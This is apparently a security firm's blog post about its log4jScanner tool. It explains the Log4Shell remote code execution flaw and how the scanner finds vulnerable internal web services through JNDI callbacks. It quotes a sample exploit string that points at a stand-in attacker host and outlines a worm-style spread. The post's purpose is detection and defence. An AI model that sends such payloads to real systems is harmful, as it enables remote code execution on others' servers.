log4jScanner

(Source: https://log4jmemes.com/)

Background

Our customers faced a serious issue, they did not know which servers on their internal network were vulnerable to log4j, and were reluctant to send information about vulnerable internal servers to 3rd parties.

We rose to the challenge and created a scanner to help find vulnerable web servers in their internal networks.

Introduction

Log4j vulnerability (CVE-2021–44228) discovery

On Thursday, December 09, 2021, a new zero-day vulnerability was disclosed by the Apache Log4j project. This exploit enables adversaries potentially to execute code remotely on the server. The exploitation occurs when the attacker logs a specific string value on the endpoint. The vulnerability type is remote code execution (RCE) on the Log4j Java library, an open-source library. The vulnerable versions are 2.08-beta9 to 2.14.1 and already has been exploited online since the vulnerability was disclosed. Based on unverified publications, the initial discovery (and\or exploitation) was seen on a Minecraft server.

How the Log4shell vulnerability works

log4j is a widely used open-source Java library for logging.

The root cause of Log4Shell vulnerability is the result of how the Log4j library is handling incoming log messages.

Log4j allows lookup execution from incoming log messages. This means that when any input is logged and said input contains a JNDI Lookup* pointing to a URL, Log4j would resolve and connect to that URL address. Behind that URL could be a malicious remote server that contains Java code that will be downloaded and executed by the application using Log4j. This vulnerability is known as a remote code execution (RCE) attack.

Here is the attack sequence as it was captured in the wild:

• An attacker inserts a string that contains a malicious JNDI Lookup* like `${jndi:ldap://evilattacker.com/attack}` as input via a simple web request
• The string is passed to Log4j for logging
• The malicious string triggers the Log4j vulnerability
• The vulnerable server makes a request to evilattacker.com via the JNDI* Interface.
• The malicious server responds with a path to a malicious Java class
• Java downloads that Java class and executes it

*Java Naming and Directory Interface (JNDI) allows Java applications to discover and lookup data and resources

Why is it so challenging to detect vulnerable log4j libraries and usage?

The challenge is finding software that is using Log4j.

In Java-based applications, dependencies are distributed as Java archive (JAR) files, which are packages that can be used as a Java library.

Commonly used tools, such as Maven and Gradle, can automatically add JAR files as developers build a Java application. It’s also possible for a JAR to contain another JAR to satisfy a dependency.

It is not uncommon for one dependency to pull in dozens of other dependencies making it very difficult to find.

Hence, even if an application is not using the Log4j library for logging, a dependency in the application might be using it, which means a vulnerability can be hidden several levels down in an application.

The weaponization of the bug as a worm mechanism

Adversaries can utilize this bug in their malware as a worm mechanism due to two main reasons:

• Exploiting this bug is considered trivial and doesn’t require advanced skills as it requires only setting up a malicious server to serve the payload and triggering the vulnerability is by sending a web request
• Many platforms and products are vulnerable

The scenario will probably look like the following:

1. Adversary obtains initial foothold on a machine (by exploiting the log4j vulnerability or other vulnerability)
2. The adversary is running its malware to compromise the server he is on and to spin up a malicious server to serve payloads)
3. Malware will send a malicious Web request to the other servers in the network, with a payload directing them to pull a payload from the initial compromised server
4. Each vulnerable machine is running malicious code served by the malware, spreading into all accessible hosts and networks in the organization

Identifying vulnerable hosts

As described above, identifying vulnerable hosts is currently a challenge, especially for a big organization.

A machine that has the vulnerable JAR file isn’t necessarily vulnerable, only if the file is used by running a process that is listening to incoming web requests.

In addition, most of the available tools today offer to scan for the vulnerability using 3rd party tools (such as https://app.interactsh.com/#/ or http://dnslog.cn/ for example) which might prevent some organizations from using them due to privacy and security reasons.

Therefore, our team has created a scanner that is capable to scan large internal networks and verify if the running and listening processes are vulnerable, providing simple output with identified vulnerable hosts.

log4jScanner

(Source: https://twitter.com/aprilwright/status/1469389224994557963)

Description

The log4jScanner provides the ability to scan internal subnets for vulnerable log4j web services.

The tool scans open ports listening to HTTP and HTTPS requests and reports back callbacks with the responding host IP. A callback indicates some application has received the request, logged it using Log4j, and performed a JNDI Lookup which in turn caused it to make a request to the local TCP server run by the tool.

How log4jScanner works

The log4jScanner tries to send a JNDI Lookup string via a User-Agent string, URL parameter, and an HTTP header to each IP address in a given subnet (using either 10 or 100 most common ports).

If an application behind one of these addresses is vulnerable, it will send a response (callback) to the local TCP server set by the scanner. The tool logs every response it receives including the responding host IP to gather a list of vulnerable servers.

For more details and instructions on how to use the tool: https://github.com/proferosec/log4jScanner

Log4j is a serious vulnerability impacting numerous systems worldwide and required the time and attention of countless security personnel since last weekend without any heads-up to prepare for it.

In the light of the Tweet below, we would like to thank everyone for working in these troubled times.

(Source: https://twitter.com/CisoHelen/status/1470423245522448390)